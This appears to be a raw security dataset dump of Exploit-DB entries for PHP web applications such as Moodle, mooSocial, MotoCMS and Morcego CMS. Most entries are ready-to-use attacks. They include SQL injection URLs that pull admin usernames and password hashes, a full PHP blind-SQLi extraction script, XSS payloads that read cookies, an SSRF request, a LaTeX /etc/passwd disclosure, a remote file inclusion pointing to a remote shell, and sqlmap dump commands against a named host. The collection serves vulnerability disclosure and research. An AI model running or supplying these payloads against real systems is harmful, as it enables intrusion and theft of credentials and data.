deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8297
Description: Moodle < 1.6.9/1.7.7/1.8.9/1.9.5 - File Disclosure
Type: webapps
Platform: php
Date: 2009-03-27
Author: Christian J. Eibl

Exploit:
Moodle File Disclosure Vulnerability

Systems Affected		Moodle series <1.6.9+, <1.7.7+, <1.8.9, <1.9.5
Severity				Critical
Probability of being vulnerable		Rather Low
Vendor				http://moodle.org/
Filed Bug			#MDL-18552
Author				Christian J. Eibl
Date				20090327

I. BACKGROUND

Moodle is an open source (webbased) learning management system with 
users all over the world in educational institutes, schools, or 
companies. See vendor homepage for details.

II. DESCRIPTION

An input filter for TeX formulas can be exploited to disclose files 
readable by the web server. This includes the moodle configuration 
file with all authentication data and server locations for directly 
connecting to backend database.
TeX filter by default is off and in case of being activated mostly no 
complete LaTeX environment on a server system will be available.

III. DETECTION OF VULNERABILITY

Since Moodle 1.6 a complete LaTeX environment is preferred over the 
shipped mimetex program for rendering TeX formulas to images that can 
be included in HTML pages.

In any text input area, e.g., forum, type something like "$$ \jobname 
$$" (without quotes). If the result looks like
- "$$ \jobname $$":		TeX filter not activated
- "[jobname ?]":			TeX filter activated, but mimetex used
- "a91dbb..." (hash):		TeX filter active and LaTeX used (vuln.)

Since LaTeX per se is very powerful for file inclusion and even 
writes, the vulnerability depends on LaTeX environment and its 
configuration. 

IV. EXPLOIT PoC

If LaTeX is not configured to restrict file inclusion (default!), then 
absolute paths and relative ones can be used. As proof of concept 
enter:
"$$ \input{/etc/passwd} $$"

In case the system is vulnerable, this will read the /etc/passwd file 
and will render the contents to an image included in the text. Hence, 
content is disclosed.

Rendering takes place in temporary folder by default which should not 
be in the scope of the web server. Otherwise even arbitrary code could 
be injected to compromise the whole web environment.
By using relative paths with background knowledge of Moodle's path 
organization, it is easy to disclose the configuration file with 
sensitive data.

V. WORKAROUND

Several alternatives:
1) deactivate TeX filter, if not needed
2) use more restrictive mimetex program for rendering
3) change LaTeX configuration (set "openin_any=p" for paranoid!)

... or upgrade to latest development version where patch should be 
applied by now.

VI. TIMELINE

20090312 Bug discovered
20090313 Vendor contact / Bug filed (MDL-18552)
20090314 Response and confirmation by vendor
20090315 First patch proposed
20090327 Bug marked resolved and patch in tree

# milw0rm.com [2009-03-27]
Exploit-DB #28770
Description: Moodle Blog 1.18.2.2/1.6.2 Module - SQL Injection
Type: webapps
Platform: php
Date: 2006-10-08
Author: disfigure

Exploit:
source: https://www.securityfocus.com/bid/20395/info

Moodle is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Moodle 1.6.2 is reported vulnerable; prior versions may also be affected.

http://www.example.com/blog/index.php?tag=x%2527%20UNION%20SELECT%20%2527-1%20UNION%20SELECT%201,1,1,1,1,1,1,username,password,1,1,1,1,1,1,1,username,password,email%20
FROM%20mdl_user%20RIGHT%20JOIN%20mdl_user_admins%20ON%20mdl_user.id%3dmdl_user_admins.userid%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20F
ROM%20mdl_post%20p,%20mdl_blog_tag_instance%20bt,%20mdl_user%20u%20WHERE%201%3D0%2527,1,1,%25271
Exploit-DB #47177
Description: Moodle Filepicker 3.5.2 - Server Side Request Forgery
Type: webapps
Platform: php
Date: 2019-07-26
Author: Fabian Mosch_ Nick Theisinger

Exploit:
# Exploit Title: Server Side Request Forgery in Moodle Filepicker
# Google Dork: /
# Date: 2019-07-25
# Exploit Author: Fabian Mosch & Nick Theisinger (r-tec IT Security GmbH)
# Vendor Homepage: https://moodle.org/
# Software Link: https://github.com/moodle/moodle
# Version: Moodle Versions 3.4, 3.3, 3.3.3, 3.2 to 3.2.6, 3.1 to 3.1.9 and 3.5.2
# Tested on: Moodle Version 3.5.2
# CVE : CVE-2018-1042

We found a SSRF vulnerability for Moodle version 3.5.2. An authenticated attacker can scan the internal network and exploit internal web services with blind injections. Probably we are dealing with CVE-2018-1042 mentioned here:
https://moodle.org/mod/forum/discuss.php?d=364381

In version 3.5.2 we were not able to view all internal web server content, only pictures (PNG, GIF, SVN and so on) were displayed as a JSON-list. But it is possible to do internal port scans via http:// and https:// protocols. Open ports with no response for HTTP requests resulted in a timeout, SSL services like OpenSSH gave an SSL Error. For web applications the HTTP headers can be found in the response (403 forbidden, 404 not Found and so on). Found web applications can be attacked via HTTP GET requests. The vulnerable script is "repository_ajax.php" and the parameter is "file".

Example exploitation request:

POST /repository/repository_ajax.php?action=signin HTTP/1.1
Host: VulnerableMoodleHost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://VulnerableMoodleHost/user/files.php
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 165
Connection: close
Cookie: MoodleSession=xxxxx;

file=InternalURL?parameter=XXEInjection&repo_id=5&p=&page=&env=filemanager&sesskey=xxxxxxxxxx
Exploit-DB #24279
Description: Moodle Help Script 1.x - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-07-13
Author: morpheus[bd]

Exploit:
source: https://www.securityfocus.com/bid/10718/info

It is reported that Moodle is susceptible to a cross-site scripting vulnerability in the 'help.php' script. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamic web content.

This issue may allow for theft of cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/help.php?file={XSS}
Exploit-DB #46881
Description: Moodle Jmol Filter 6.1 - Directory Traversal / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-05-21
Author: Dionach Ltd

Exploit:
# Exploit Title: Moodle filter_jmol multiple vulnerabilities (Directory Traversal and XSS)
# Date: 20 May 2019
# Exploit Author: Dionach Ltd
# Exploit Author Homepage: https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities
# Software Link: https://moodle.org/plugins/filter_jmol
# Version: <=6.1
# Tested on: Debian

The Jmol/JSmol plugin for the Moodle Learning Management System displays chemical structures in Moodle using Java and JavaScript. The plugin implements a PHP server-side proxy in order to load third party resources bypassing client-side security restrictions. This PHP proxy script calls the function file_get_contents() on unvalidated user input.

This makes Moodle instances with this plugin installed vulnerable to directory traversal and server-side request forgery in the default PHP setup, and if PHP's "expect" wrapper is enabled, also to remote code execution. Other parameters in the plugin are also vulnerable to reflected cross-site scripting. Note that authentication is not required to exploit these vulnerabilities.

The JSmol Moodle plugin was forked from the JSmol project, where the directory traversal and server-side request forgery vulnerability was partially fixed in 2015.

* Plugin: https://moodle.org/plugins/pluginversions.php?plugin=filter_jmol
* Note on functionality: https://github.com/geoffrowland/moodle-filter_jmol/blob/master/js/jsmol/php/jsmol.php#L14
* Vulnerability announcement: https://sourceforge.net/p/jmol/mailman/message/33627649/
* Partial fix: https://sourceforge.net/p/jsmol/code/1004/

This issue is tracked at the following URLs:
https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities
https://tracker.moodle.org/browse/CONTRIB-7516

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:F/RL:W/RC:C

== Proof of Concept ==

1. Directory traversal
http://<moodle>/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd
2. Reflected cross-site scripting
http://<moodle>/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&mimetype=text/html
http://<moodle>/filter/jmol/iframe.php?_USE=%22};alert(%27XSS%27);//
3. Malware distribution
http://<moodle>/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&encoding=base64&data=UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA%3D%3D&filename=empty.zip
Exploit-DB #51115
Description: Moodle LMS 4.0 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-03-28
Author: Saud Alenazi

Exploit:
# Exploit Title: Moodle LMS 4.0 - Cross-Site Scripting (XSS)
# Date: 26/10/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://moodle.org/
# Software Link: https://git.in.moodle.com/moodle
# Version: 4.0
# Tested on: XAMPP, Windows 10
# Contact: https://twitter.com/dmaral3noz

Description:

A Cross Site Scripting (XSS) vulnerability exists in Moodle is a free and open-source Learning Management System (LMS) written in PHP and distributed under the GNU General Public License

Vulnerable Code:

line 111 in file "course/search.php"

echo $courserenderer->search_courses($searchcriteria);


Steps to exploit:
1) Go to http://localhost/course/search.php
2) Insert your payload in the "search"

Proof of concept (Poc):
The following payload will allow you to run the javascript -
"><img src=# onerror=alert(document.cookie)>
Exploit-DB #4951
Description: Mooseguy Blog System 1.0 - 'month' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-21
Author: The_HuliGun

Exploit:
# MGBS 1.0 Remote SQL injection

# Script url http://sourceforge.net/project/showfiles.php?group_id=193233

# Vulnerable code in blog.php 
 
 <?php
   $month = $_GET['month'];
   $result = mysql_query("SELECT * FROM blog WHERE posted='$month' ORDER BY id DESC") or die("HELP QUERY BROKEN");
   ...

# Admin hash exploit

http://[target]/[path]/blog.php?month='+union+select+1,2,3,4,5,concat_ws(0x3a,id,uname,upass),7,8+from+users/*

# Bug discovered by The_HuliGun

# Greetz to: forum.antichat.ru

# milw0rm.com [2008-01-21]
Exploit-DB #51670
Description: mooSocial 3.1.8 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-08-08
Author: CraCkEr

Exploit:
# Exploit Title: mooSocial 3.1.8 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 28/07/2023
# Vendor: mooSocial
# Vendor Homepage: https://moosocial.com/
# Software Link: https://travel.moosocial.com/
# Version: 3.1.8
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4173


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



URL path folder is vulnerable to XSS

https://website/classifieds[XSS]/search?category=1

https://website/classifieds/search[XSS]?category=1


XSS Payloads:

ijz3y"><img src=a onerror=alert(1)>y4apk


[-] Done
Exploit-DB #45330
Description: mooSocial Store Plugin 2.6 - SQL Injection
Type: webapps
Platform: php
Date: 2018-09-04
Author: Andrea Bocchetti

Exploit:
# Exploit Title: mooSocial Store Plugin 2.6 - SQL Injection
# Exploit Author: Andrea Bocchetti
# Date: 2018-08-28
# Google Dork: N/A - 
# Vendor: https://moosocial.com/product/store-plugins/
# Software Link: https://moosocial.com/product/store-plugins/
# Demo URL: http://addons.moosocial.com/stores
# Purchase link: https://moosocial.com/addons/
# Affected Version: all versions
# Patched Version: 2.7
# Category: Web Application
# Platform: PHP
# Tested on: Ubuntu
# CVE: N/A
  
# 1. Technical Description:
# mooSocial Store Plugin is affected by Blind SQL Injection in the product parameter used with URL Rewrite 
   
GET /stores/product/2015-fashion-new-men-39-s-short-sleeved-shirt-slim-m-3xl-65 HTTP/1.1
Host: addons.moosocial.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: CAKEPHP=2b0v0a2360nhl46psmm1mejsi7
Connection: close
Upgrade-Insecure-Requests: 1
 
 
# 3. Payload:
 
# Parameter: #1* (URI)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause

Payload: http://xxx.xxx/stores/product/2015-fashion-new-men-39-s-short-sleeved-shirt-slim-m-3xl-65 AND 5011=5011
    
# Type: stacked queries
# Title: MySQL > 5.0.11 stacked queries (comment)
# Payload: http://xxx.xxx/stores/product/2015-fashion-new-men-39-s-short-sleeved-shirt-slim-m-3xl-65;SELECT SLEEP(5)#
# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
    
Payload: http://xxx.xxx/stores/product/2015-fashion-new-men-39-s-short-sleeved-shirt-slim-m-3xl-65 AND SLEEP(5)
Exploit-DB #9121
Description: Morcego CMS 1.7.6 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-07-10
Author: darkjoker

Exploit:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-           __           __     _       __                -
+      ____/ /___ ______/ /__  (_)___  / /_____  _____    +
-     / __  / __ `/ ___/ //_/ / / __ \/ //_/ _ \/ ___/    -
+    / /_/ / /_/ / /  / ,<   / / /_/ / ,< /  __/ /        +
-    \__,_/\__,_/_/  /_/|_|_/ /\____/_/|_|\___/_/         -
+                        /___/                            +
-                                                         -
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

<?php

function usage () {
	exit (  "\n".
		"+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n".
		"-                                                                   -\n".
		"+ Morcego CMS <= 1.7.6 Blind SQL Injection Exploit                  +\n".
		"- Author  : darkjoker                                               -\n".
		"+ Site    : http://darkjoker.net23.net                              +\n".
	        "- Download: http://sourceforge.net/projects/morcegocms/             -\n".
		"+ Usage   : php xpl.php <hostname> <path> <username>                +\n".
		"- Ex.     : php xpl.php localhost /MorcegoCMS/ root                 -\n".
		"+                                                                   +\n".
		"-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n".
		"\n");
}

function hex ($string) {
	$i=0;
	while ($i<strlen($string)) 
		$hex .= "%".dechex(ord($string[$i++]));
	return $hex;
}

function check_chr ($hostname, $path, $pos, $char, $username) {
	$char = ord ($char);
	if (!($sp = fsockopen ($hostname, 80, $errno, $errstr, 5)))
		die ("[-] Unknow hostname.");
	$query = hex ("1' OR ASCII(SUBSTRING((SELECT password FROM morcego_users WHERE username='{$username}'),{$pos},1))={$char}-- ");
	$request = "GET {$path}fichero.php?{$query} HTTP/1.1\r\n".
		   "Host: {$hostname}\r\n".
		   "Connection: Close\r\n\r\n";
	fputs ($sp, $request);
	while (!feof ($sp))
		$reply .= fgets ($sp, 1024);
	fclose ($sp);
	if (preg_match ("|Page not found|", $reply))
		return false;
	else
		return true;
}

if ($argc != 4)
	usage ();
$hostname = $argv [1];
$path = $argv [2];
$username = $argv [3];
$array = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[PII_REDACTED]";
echo "[+] Password (hash): ";
for ($i=0,$d=1;$i<strlen($array);) {
	if (check_chr ($hostname, $path, $d, $array [$i], $username)) {
		echo $array [$i];
		$i=0;
		$d++;
	}
	else
		$i++;
}
echo "\n";

# milw0rm.com [2009-07-10]
Exploit-DB #22948
Description: MoreGroupWare 0.6.8 - WEBMAIL2_INC_DIR Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-07-21
Author: phil dunn

Exploit:
source: https://www.securityfocus.com/bid/8249/info

moregroupware is prone to a vulnerability that may permit remote attackers to include and execute malicious PHP scripts. Remote users, under some PHP configurations, may influence a moregroupware URI variable. This variable is used in the include path for several moregroupware configuration scripts. By influencing the include path so that it points to a malicious PHP script on a remote system, it is possible to cause arbitrary PHP code to be executed.

http://www.example.com/moregroupware/modules/webmail2/inc/[vuln file]?webmail2_inc_dir=[remote include]
Exploit-DB #6763
Description: Mosaic Commerce - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-16
Author: Ali Abbasi

Exploit:
 Mosaic Commerce SQL Injection Vulnerability
Discovered By Ali Abbasi[abbasi[At]ustmb.ac.ir]
Mazandaran University Of Science And Technology
Network Security Research Center
Babol, Iran
http://cyber-defence.com
Greetz For All Persian Bugtraq Members ( www.bugtraq.ir )
 
 
  {SQL BUG}
  /mosaic-path/category.php?cid=[SQL]
 
  Exploit For Get Admin Username And Password Hash:
  category.php?cid=-12/**/union/**/select/**/1,concat(users_name,0x3a,users_password),3/**/from/**/users/*
 

Example:

http://www.coppermax.com/category.php?cid=-12/**/union/**/select/**/1,concat(users_name,0x3a,users_password),3/**/from/**/users/*

# milw0rm.com [2008-10-16]
Exploit-DB #28310
Description: Moskool 1.5 Component - 'Admin.Moskool.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-31
Author: saudi.unix

Exploit:
source: https://www.securityfocus.com/bid/19245/info

Moskool is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

Version 1.5 is vulnerable to this issue; other versions may also be affected.

http://[target]/component/option,com_moskool/Itemid,34/admin.moskool.php?mosConfig_absolute_path?=http://sit/shell.txt?cmd
Exploit-DB #38152
Description: MotoCMS - 'admin/data/users.xml' Access Restriction / Information Disclosure
Type: webapps
Platform: php
Date: 2013-01-08
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/57055/info

MotoCMS is prone to a file-disclosure and an arbitrary file-upload vulnerability.

An attacker can exploit these issues to upload a file and view local files in the context of the web server process, which may aid in further attacks.

MotoCMS 1.3.3 and prior versions are vulnerable. 

http://www.example.com/admin/data/users.xml
Exploit-DB #51504
Description: MotoCMS Version 3.4.3 - SQL Injection
Type: webapps
Platform: php
Date: 2023-06-04
Author: tmrswrr

Exploit:
# Title: MotoCMS Version 3.4.3 - SQL Injection
# Author: tmrswrr
# Date: 01/06/2023
# Vendor: https://www.motocms.com
# Link: https://www.motocms.com/website-templates/demo/189526.html
# Vulnerable Version(s): MotoCMS  3.4.3


## Description
MotoCMS Version 3.4.3 SQL Injection via the keyword parameter.

## Steps to Reproduce

1) By visiting the url:
https://template189526.motopreview.com/store/category/search/?keyword=1

2) Run sqlmap -u "https://template189526.motopreview.com/store/category/search/?keyword=1" --random-agent --level 5 --risk 3 --batch  and this command sqlmap -u "https://template189526.motopreview.com/store/category/search/?keyword=1*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump

### Parameter & Payloads ###

Parameter: keyword (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: keyword=1%' AND 3602=3602 AND 'ZnYV%'='ZnYV

Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: https://template189526.motopreview.com:443/store/category/search/?keyword=1%' AND 6651=6651 AND 'BvJE%'='BvJE
Exploit-DB #27454
Description: Motorola - BlueTooth Interface Dialog Spoofing
Type: webapps
Platform: php
Date: 2006-03-22
Author: kspecial

Exploit:
source: https://www.securityfocus.com/bid/17190/info

Motorola mobile handsets are prone to a dialog-spoofing vulnerability when accepting Bluetooth communications. An attacker could exploit this issue to trick a user into granting them AT access to the device. The attacker could then gather confidential information from the handset.

Motorola PEBL and V600 handsets are vulnerable to this issue; other devices may also be affected.

# hciconfig hci0 name `perl -e 'print "Press\x0dgrant\x0dto\x0ddisable\x0dmute\x0d\x0d"'` 
# rfcomm connect 0 00:15:A8:74:87:3E 3 (wait for user to press grant)
Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3
Press CTRL-C for hangup
Exploit-DB #35160
Description: Mouse Media Script 1.6 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-11-05
Author: Halil Dalabasmaz

Exploit:
# Exploit Title: Mouse Media Script Stored XSS Vulnerability
# Google Dork: "is your best source of fun." inurl:/view/popular
# Date: 04-10-2014
# Exploit Author: Halil Dalabasmaz
# Version: v1.6
# Software Link: http://codecanyon.net/item/mouse-media-script/7773254
# Software Test Link: http://media.nisgeo.com
# Tested on: Kali Linux & Iceweasel 31.2.0
# Sample Payload: "><script>alert(document.cookie);</script>

# Attack Description:    Login to system and upload any of your image. When
uploading the image you need to enter the XSS payload to "Title" or
"Description" inputs. And then you can visit thıs home page to check the
uploaded payload. All these uploaded image and payload were completed
succesfully then all visitors and logged users will be affected by this
vulnerability.